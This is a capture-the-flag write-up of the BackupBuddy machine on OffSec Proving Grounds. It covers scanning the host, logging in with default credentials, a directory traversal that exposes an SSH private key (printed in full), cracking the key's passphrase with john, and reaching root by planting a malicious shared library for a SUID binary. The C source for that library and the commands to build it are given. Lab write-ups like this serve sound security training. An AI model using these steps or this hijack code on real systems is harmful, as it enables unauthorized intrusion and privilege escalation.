Released July 2nd, 2024

Difficulty Intermediate (community rated hard)

Hey all! today I am going to demonstrate the compromise of BackupBuddy hosted by the Offsec Proving grounds. BackupBuddy started with a simple php file manager that was subject to default creds. The website was vulnerable to a directory traversal attack that lead to an exposed SSH key and a user shell. A vulnerable SUID binary led to a Shared Library misconfiguration which granted me a root shell.

To begin I start with my go to nmap scan that will enumerate services and versions on all ports at a faster rate. Ill also save my results for later viewing.


nmap -sC -sV -p- --min-rate 10000 192.168.188.43

```
| kali)-[~/backupbuddy]
   nmap -sC -sV -p- --min-rate 10000 192.168.188.43
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-18 23:08 EDT
Nmap scan report for 192.168.188.43
Host is up (0.040s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
                    OpenSSH 8.9p1 Ubuntu 3ubuntu0.7 (Ubuntu Linux; protocol 2.0)
22/tcp open ssh
 ssh-hostkey:
    256 b9:bc:8f:01:3f:85:5d:f9:5c:d9:fb:b6:15:a0:1e:74 (ECDSA)
   256 53:d9:7f:3d:22:8a:fd:57:98:fe:6b:1a:4c:ac:79:67 (ED25519)
80/tcp open http Apache httpd 2.4.52 ((Ubuntu))
|_http-title: PHP File Manager
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 24.92 seconds
```


Judging from the output this is clearly a Ubuntu linux machine with ssh on 22 and an Apache web server on port 80. The best place for me to start is by checking out the webserver.



It's a very simple login interface with a link to PHP File Manager. Clicking on the link takes you to the Github hosting the code. This appears to be the backbone of Tiny PHP File Manager.




First thing I notice is that the code is externely old. This might work in my favor. Checking on the issues and Security tabs, hoping for low hanging fruit, I find nothing interesting.






## There aren't any published security advisories


Looking back at the README.md I do notice that this application is shipped with default credentials. These are worth a try!




Ill go ahead and take note of those creds and return to the login prompt and input the default creds.




To my surprise, they worked like a charm!




Obviously this site is running PHP, and because this is some sort of file manager I wanted to see if there was somewhere to upload a php script for a command injection. Unfortunately, There isn't.




The same photo is in the "important\_images" directory. Taking note that the owner is Brian for both images.




Clicking on the image does show the entire path of where the file is located on the webserver.




While I was clicking around. I noticed that every destination is navigated to by the "p" parameter in a directory traversing format with the unicode character for "/" being %2F.




I tried to test for a directory traversal attack by grabbing /etc/passwd by inputting "p=backup/../../../etc/passwd", but unfortunately it didn't work and the parameter became blank.




So what if I tried moving back a directory by inputting "backup/../.." or even simpler "../.."?




Aha! I managed to escape the limits of backup. With this power, I can view any file on the machine that's available to Brian. I can take this all the way to "/"



I immediately search for ways I can get a shell. My best bet is that Brian has an ssh key in his home folder so Ill check there first.





Ill start by downloading the key onto my local machine.

## kali)-[~/backupbuddy] cat id\_rsa -BEGIN OPENSSH PRIVATE KEYb3BlbnNzaC1rZXktdjEAAAAACmFlczI1Ni1jdHIAAAAGYmNyeXB0AAAAGAAAABBFMAC+0R tg6eqAS82JZwpwAAAAEAAAAEAAAGXAAAAB3NzaC1yc2EAAAADAQABAAABgQC6xxWqgI3G z/m5HGlQPx0n7MbCxwSlYMOooqL6siXRy9LUdfNieT1cmigVV0fDVtAiXlZSFbWi2pZKAN IarU73t76Q8FNbg3hR5JpaN7M4hECSAqp8ySTYIkNCTCqYX0y3L0y9fDvKn4VMKcPseDgK v0xzltF2Dt+xaeNcvMwQpNl64gGjUKSdvQ22vM9H3uIXSlp7GCDCAVAsJ5dmVS8me0bqqf 0rhm9hs695fjXhIjLjOeRh+0TwxROR+hEaSqqhwtJl4pZ7V+RzGVcy2kL05ikdVfinUrK/ pujnXZHYcTlK7790pgDQTnP12xjRwKl8Z0XEiQSEN1Kqsipl5kacTGydSfLpbsTgXGwvqL 5kgt9N+J/XeAyAq61IMMDJDymOdwRPT8ecA6R2ZMsAWYFfLFZRssB/ckjRwq4XCHH8CwyR KsARDqw3U+KqSp0//iAvnpQuX1KExlp0Ja+8TDSgmctiT6li0ZjJavm8SflSXwhgUPXnIg h4nWfL2gj1mcMAAAWQGP8t3Bg9AMkLjtcP84Bd890D3knD6c6H4AqZBeUHDapuyXui8q7Z jCLP0UZOBVsKd0LUJE7UHwZgN10hIrcAgr0yly4loxr2NlmK2P4vMRHaeKRUsgcNpMSzil nllz5D0j9RMbN4UmGVMSEnC8NzhLsZs5NMI8cSz75NWxUp0fjRBkyHaYmRAEVCfoUN90cX mbqDsyhssSdUlBsg5×62BPL61vjPEHmsCeYoDV3ik+8ooAuW2EiYhdfALhnEAOQv/uiEfV dP39L+qt6eqVLRdkPoaK0qho0ckC8UZejpce1hYrbPs+tHsaqLfKlhjL7Zh+3nqzRd+Mc2 hrDO+G4MyGvVyhYV8XwEzxysnwl5u8rOfUvY86dkLUB2VB0uz61g3CXA4vye6A9AaBk4Cs h7acnscPC5a6kzssEZk0EwP+/0xjahShQ/r3g6W6kJ7×9r1haPBd5uc/TTK1vYVs646xnK XL40iqzevxX2wlUk/aElhBVeHPcibB1y5/Kk/1iBC3S4WS5xwyYsVxYI1lYyUQGklF61jf 25GaUcjizothgfmKIErHxbOiaHqyL0D+XEkRZX6FasSofA8W6Ie2J/o+F/YsNVBxMI3Y9d o8GjESSD2qHV3tO/fE6Ag36NEpQ8QCssnKYrCQb16CE0X0Ck6JxxjloPdfVRQdbM8zrxsu dB8MRmbs031r0+A8PapLvKesXEQybfgQerZZT4SRqX8pQr6typ+wphs2FEMbfCqCn+tq5g QmZwPROJew6VRdzK2oVE05iG185a60xIQCkN34ZdesYHeFaKL/DS1GYLAZeJYJmdzba98z ANbynG3VuCGyespCN9hyWsqxeATaYQiohYF3J0A2dhg9OwuYtr+1AjukK/zJYoVvqHkB4j rokpPEKFakWvKnRUOAO5KlHi+Fn5R8efeGEDr50sc2nJN0MvGXIJg2tX6orCIvxkXtRyXu Uz1aeWEDnAPfY6Cb8XzSgF7RL0P25sja4TGrWSQb1Ph2/7wihcDAm32j0MbBjQWQcs8MEQ e8L1GfmzRdpdA3×5f6KdVLZJVzc5n8wMaYhszqV4GFprJDgQ6Kt/Sm/DimZeJTbibrt7u2 V9VTsdhBQEKGUuhW/FYYzLSSRwcMOW8x/97ROKTd8QNXRuWPVjbamx1wKA6XPmwAs6iaRk a6isfJdYrh3fShv1uh8FNXsp6p628ZR5XKIZqaavcIzghGSnfDdWJmA/X2zmrmPW5e0sx3 DVqBcUaALMUkkLti808Nz9EULzKYJaDGKUdRZqH9umR1MFEbvP6ExPcR0y5YZe8pQUMpMT 7VRR9Z0rD8oxi8qsMLMrK+Cy7F5gaX84hc00eW3NWPZbAmtgxIApYK6uFSSdIR7CP6RhCf 5oXxIlyxeSFfjWTyr/3g2sb0WkyKz3i/O0kBv39khcz6fU1JCdnn9f9IM8pboApekgV2oN w0TJd+ygdYIcPFRNIKFJ6S0mM8gq0helyNvRq251SV700feKydr7/YP1emJnm0/ELp3l+G v5800VpAxLSZntPNShbe0f0nzMRWdPxPxXDM6iaV2FXUjhkmAhrph6u1FV/FDly4c94wlY 9Fma+P5qIfM0W7HXJ5GTtGPwRCboeDl3gBs75v89ZVxqKSUqa09inKLuV1geghC6+OUqCB s9PTdLIFEJRmm6Gvq54XuyapLtq7PBv1rTBG1fIch4WW/Tqi7Hr92KK0zDl8zgKM7CMNVa

G18fSKta1aH4WX5kZjgtI/GDijnh9EbmOo2U/TiDr+Y9I7bidHM+pUvO37YhUX/yb9n9lX <u>CqQEVqPwv</u>XiJdqbP8SOd/SkQis1bS7HBu+PHVYMOaXoO8bGm49c3ewbhuv2uIqC0N3GAKx

Then I will go ahead and run ssh2john so I can crack the password. ssh2john id rsa > id rsa.hash

gXTaTXuEt9A5IMIl7CfwjSN1ToI=
———END OPENSSH PRIVATE KEY-

```
(root@ kali)-[~/backupbuddy]
# ssh2john id_rsa > id_rsa.hash

(root@ kali)-[~/backupbuddy]
# cat id_rsa.hash
```

id rsa:\$sshng\$6\$16\$453000bed11b60e9ea804bcd89670a70\$1910\$6f70656e7373682d6b65792d7 3000bed11b60e9ea804bcd89670a700000001000000100000197000000077373682d727361000000 2fab225d1cbd2d475f362793d5c9a28155747c356d0225e565215b5a2da964a00d21aad4ef7b7be90f 9f854c29c3ec78380abcec7396d1760edfb169e35cbccc10a4d97ae201a350a49dbd0db6bccf47dee2 461fb44f0c51391fa111a4aaaa1c2d265e2967b57e473195732da42cee6291d55f8a752b2bfa6e8e75 4c6c9d49f2e96ec4e05c6c2fa8be6482df4df89fd7780c80abad4830c0c90f298e77044f4fc79c03a4 d3ffe202f9e942e5f5284c65a7425afbc4c34a099cb624fa9623998c96af9bc49f9525f086050f5e72 e9ce87e00a9905e5070daa6ec97ba2f2aed98c22cfd1464e055b0a7742d4244ed41f0660375d2122b7 f5131b3785261953121270bc37384bb19b3934c23c712cfbe4d5b1529d1f8d1064c876989910045427 93ef28a00b96d8489885d7c02e19c400e42ffee8847d574fdfd2feaade9ea952d17643e868ad2a868d 0cef86e0cc86bd5ca1615f17c04cf1cac9f0979bbcace7d4bd8f3a7642d4076541d2ecfad60dc25c0e af783a5ba909ef1f6bd6168f05de6e73f4d32b5bd856ceb8eb19ca5cbe348aacdebf15f6c25524fda1 eb58dfdb919a51c8e2ce8b6181f98a204ac7c5b3a2687ab22f40fe5c4911657e856ac4a87c0f16e887 402b2c9ca62b0906f5e8210e5ce0a4e89c718e5a0f75f55141d6ccf33af1b2e741f0c4666ecd37d6bd 7c2a829feb6ae604266703d13897b0e9545dccada8544d39886d7ce5ae8ec4840290ddf865d7ac6077 ab17804da6108a885817727403676183d3b0b98b6bfb5023ba42bfcc962856fa87901e23ae89293c42 b57ea8ac222fc645ed4725ee533d5a7961039c03df63a09bf17cd2a85ed12f43f6e6c8dae131ab5924 7fa29d54b6495737399fcc0c69886ccea578185a6b243810e8ab7f4a6fc38a665e2536e26ebb7bbb65 5636da9b1d70280e973e6c00b3a89a4646ba8ac7c9758ae1ddf4a1bf5ba1f05357b29ea9eb6f194795 52490bb62f34f0dcfd1142f329825a0c629475166a1fdba647530511bbcfe84c4f711d32e5865ef294 65b026b60c4802960aeae15249d211ec23fa46109fe685f1225cb179215f8d64f2affde0dac6f45a4c 77eca075821c3c544d20a149e92d2633c82ad217a5c8dbd1ab6e75495ef439f78ac9dafbfd83f57a62 ea2695d855d48e1926021ae987abb5155fc50e5cb873de30958f4599af8fe6a21f3345bb1d7279193b 081b3d3d374b2051094669ba1afab9e17bb26a92edabb3c1bf5ad3046d5f21c878596fd3aa2ec7afdd 6e63a8d94fd3883afe63d23b6e274733ea54bcedfb621517ff26fd9fd9570aa40456a3f0bd788976a6 0b43771802b18174da4d7b84b7d03920c225ec27f08d23754e82\$16\$486

john id\_rsa.hash --wordlist=/usr/share/wordlist/rockyou.txt
I already have it cracked, but the password is "eugene", easy day!

```
(root@kali)-[~/backupbuddy]
# john --show id_rsa.hash
id_rsa:eugene

1 password hash cracked, 0 left
```

Now I will log in via ssh ssh -i id\_rsa brian@192.168.188.43

```
)-[~/backupbuddv
   ssh -i id_rsa brian@192.168.188.43
Enter passphrase for key 'id_rsa':
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-105-generic x86_64)
 * Documentation: https://help.ubuntu.com
 * Management:
                   https://landscape.canonical.com
                   https://ubuntu.com/pro
 * Support:
  System information as of Fri Jul 19 03:53:55 AM UTC 2024
  System load: 0.0
                                   Processes:
  Usage of /: 62.0% of 9.75GB Users logged in:
  Memory usage: 14%
                                  IPv4 address for ens160: 192.168.188.43
  Swap usage:
Expanded Security Maintenance for Applications is not enabled.
64 updates can be applied immediately.
48 of these updates are standard security updates.
To see these additional updates run: apt list -- upgradable
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Fri Jul 19 02:41:13 2024 from 192.168.45.180
$
```

Go ahead and run bash, makes the shell much better! /bin/bash

```
Last login: Fri Jul 19 02:41:13 2024 from 192.168.45.180
$ /bin/bash
brian@backupbuddy:~$ id
uid=1000(brian) gid=1000(brian) groups=1000(brian),33(www-data)
brian@backupbuddy:~$
```

By muscle memory I will run sudo -I to check for an easy privilege escalation. sudo -I

```
brian@backupbuddy:~$ sudo -l
[sudo] password for brian:
Sorry, try again.
[sudo] password for brian:
sudo: 1 incorrect password attempt
brian@backupbuddy:~$
```

Unfortunately, I don't have the sudo password for Brian.

Before I run linpeas, I just want to take a small look around. I noticed there is a custom binary located in /opt and even better, it's and SUID binary!

```
brian@backupbuddy:/opt$ ls
backup
brian@backupbuddy:/opt$ ls -la
total 24
drwxr-xr-x 2 root root 4096 Jul 9 15:18 .
drwxr-xr-x 19 root root 4096 Jun 15 2022 ..
-rwsr-sr-x 1 root root 16168 Jul 9 15:18 backup
brian@backupbuddy:/opt$
```

This means that it will always execute as the root user. I need to find a way to take advantage of this. Ill go ahead and run it to see what the behavior is.

./backup

```
brian@backupbuddy:/opt$ ./backup
Starting backup ...
Aborting. Backup Error!
brian@backupbuddy:/opt$
```

It immediately fails. I tried a few combinations and inputs and it always ended up with the failure. Because this is a binary I cant read the code, but I can run strings to see if there is anything hidden behind the scenes. strings backup

```
PTE1
u+UH
Starting backup ...
/home/brian/.config/libm.so
Aborting. Backup Error!
Backup successful!
GCC: (Ubuntu 11.4.0-lubuntu1~22.04) 11.4.0
Scrtl.o
```

It looks like the program is relying on a shared library located in /home/brian/.config. III go ahead and check that out.

```
brian@backupbuddy:/opt$ ls /home/brian/.config
ls: cannot access '/home/brian/.config': No such file or directory
brian@backupbuddy:/opt$

[0] 0:nc- 2:ssh*
```

Looks like the shared library is missing. That explains why it is failing. Because this location is writable by me and specifically being called by the application, I can take advantage of this SUID and write my own libm.so that executes my own code as the root user. Gurkirat Singh (<a href="https://tbhaxor.com/exploiting-shared-library-misconfigurations/">https://tbhaxor.com/exploiting-shared-library-misconfigurations/</a>) has a great tutorial and explanation on how to accomplish this. I will use his script with a slight modification.

```
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor))
void bad_stuff() {
        setuid(0);
        setgid(0);
        system("/bin/sh -i");
}
```

Very important to set the setuid and setgid or else it will not work.

Ill go ahead and create the directory and add my C file.

cd /home/brian

mkdir .config

cd /.config

vi ma libm.c

Its very important to compile the script on the victim machine, III do that by running gcc -shared -fPIC -o libm.so ma libm.c

All I need to do now is run the binary!

```
brian@backupbuddy:~/.config$ cd /opt/
brian@backupbuddy:/opt$ ./backup
Starting backup ...
# id
uid=0(root) gid=0(root) groups=0(root),33(www-data),1000(brian)
# [0] 0:nc- 2:ssh*Z
```

And grab the proof.txt file!

Thank you for taking the time to read this write up! Happy Hacking!